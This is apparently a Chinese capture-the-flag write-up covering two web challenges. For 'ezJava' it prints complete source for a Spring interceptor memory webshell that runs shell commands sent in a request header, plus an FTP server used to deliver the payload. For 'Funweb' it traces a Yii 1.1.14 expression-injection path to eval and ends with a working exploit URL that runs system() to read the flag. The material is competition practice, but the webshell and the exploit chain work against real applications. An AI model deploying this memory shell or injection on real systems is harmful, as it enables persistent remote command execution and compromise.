有空写细节
ezJava
思路如下:
- 使用 FTP 下载 class 文件,内存马
- 使用 /proc/self/fd/xxx 加载 class
用的 Interceptor 内存马,记录一下备用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| package com.cnss.summer;
import lombok.NonNull;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Objects;
import java.util.Scanner;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MemShell implements HandlerInterceptor {
@Override
public boolean preHandle(@NonNull HttpServletRequest request,@NonNull HttpServletResponse response, @NonNull Object handler) throws Exception {
String key = request.getHeader("shell-key");
if(!Objects.equals(key, "admin@cnss")){
return HandlerInterceptor.super.preHandle(request, response, handler);
}
String cmd = request.getHeader("cmd");
if(cmd == null){
cmd = "whoami";
}
String output = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
PrintWriter printWriter = (PrintWriter) response.getWriter();
printWriter.println(output);
printWriter.flush();
printWriter.close();
return false;
}
public MemShell(){
try{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
java.lang.reflect.Field adaptedInterceptorsField = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptorsField.setAccessible(true);
ArrayList<Object> adaptedInterceptors = (ArrayList<Object>)adaptedInterceptorsField.get(mappingHandlerMapping);
MemShell memShellInterceptor = new MemShell("xx");
adaptedInterceptors.add(memShellInterceptor);
}catch (Exception e){
e.printStackTrace();
}
}
public MemShell(String x){
}
}
|
FTP 服务器用的 pyftpdlib, 改写 handlers 可以很方便的禁用掉删除文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| import logging
from pyftpdlib import servers
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
def custom_on_DELE(self, path):
self.respond("550 DELE command is disabled\r\n")
logging.basicConfig(level=logging.DEBUG)
authorizer = DummyAuthorizer()
authorizer.add_user('ftp', '', '.', perm='elradfmwMT')
handler = FTPHandler
handler.authorizer = authorizer
handler.ftp_DELE = custom_on_DELE
address = ("0.0.0.0", 21) # listen on every IP on my machine on port 21
server = servers.FTPServer(address, handler)
server.serve_forever()
|
在测试的时候发现,%00
可以过 InetAddress.getByName
,然后往本地 config.ini
写东西
Funweb
Yii 1.1.14, 简单测试后发现现有的 CVE 都用不了,应该是挖洞了
SiteController
注册了 CacheAction
1
2
3
| 'cache' => array(
'class' => 'CacheAction'
)
|
CacheAction
中可以给 COutputCache
注入 property
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| class CacheAction extends CAction
{
public function run(array $param)
{
$controller = $this->getController();
$controller->beginCache("cache", $param);
Yii::app()->end();
}
}
...
public function beginCache($id,$properties=array())
{
$properties['id']=$id;
$cache=$this->beginWidget('COutputCache',$properties);
if($cache->getIsContentCached())
{
$this->endCache();
return false;
}
else
return true;
}
|
COutputCache
widget 创建后调用 init
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| public function init()
{
if($this->getIsContentCached()){
$this->replayActions();
}
elseif($this->_cache!==null)
{
$this->getController()->getCachingStack()->push($this);
ob_start();
ob_implicit_flush(false);
}
}
...
public function getIsContentCached()
{
if($this->_contentCached!==null)
return $this->_contentCached;
else
return $this->_contentCached=$this->checkContentCache();
}
|
跟入 checkContentCache
可以分析出逻辑:如果 requestTypes
为空,cacheID
存在对应的组件,将会执行 $this->getCacheKey()
,不难通过调试得到 cacheID
同时这些 property 为 public 可控
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| protected function checkContentCache()
{
if((empty($this->requestTypes) || in_array(Yii::app()->getRequest()->getRequestType(),$this->requestTypes))
&& ($this->_cache=$this->getCache())!==null)
{
if($this->duration>0 && ($data=$this->_cache->get($this->getCacheKey()))!==false)
{
$this->_content=$data[0];
$this->_actions=$data[1];
return true;
}
if($this->duration==0)
$this->_cache->delete($this->getCacheKey());
if($this->duration<=0)
$this->_cache=null;
}
return false;
}
...
protected function getCache()
{
return Yii::app()->getComponent($this->cacheID,true,true);
}
|
跟入 getCacheKey
,varyByExpression
可控,拼接 expression 即可 RCE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| protected function getCacheKey()
{
...
if($this->varyByExpression!==null)
$key.=$this->evaluateExpression($this->varyByExpression);
...
}
...
public function evaluateExpression($_expression_,$_data_=array())
{
if(is_string($_expression_))
{
extract($_data_);
eval('return '.$_expression_.';');
}
...
}
|
Exp
1
| http://172.35.37.214/index-test.php?r=site/cache¶m[duration]=123¶m[cacheID]=request¶m[varyByExpression]=system(%22cat%20/F1agggg%22)
|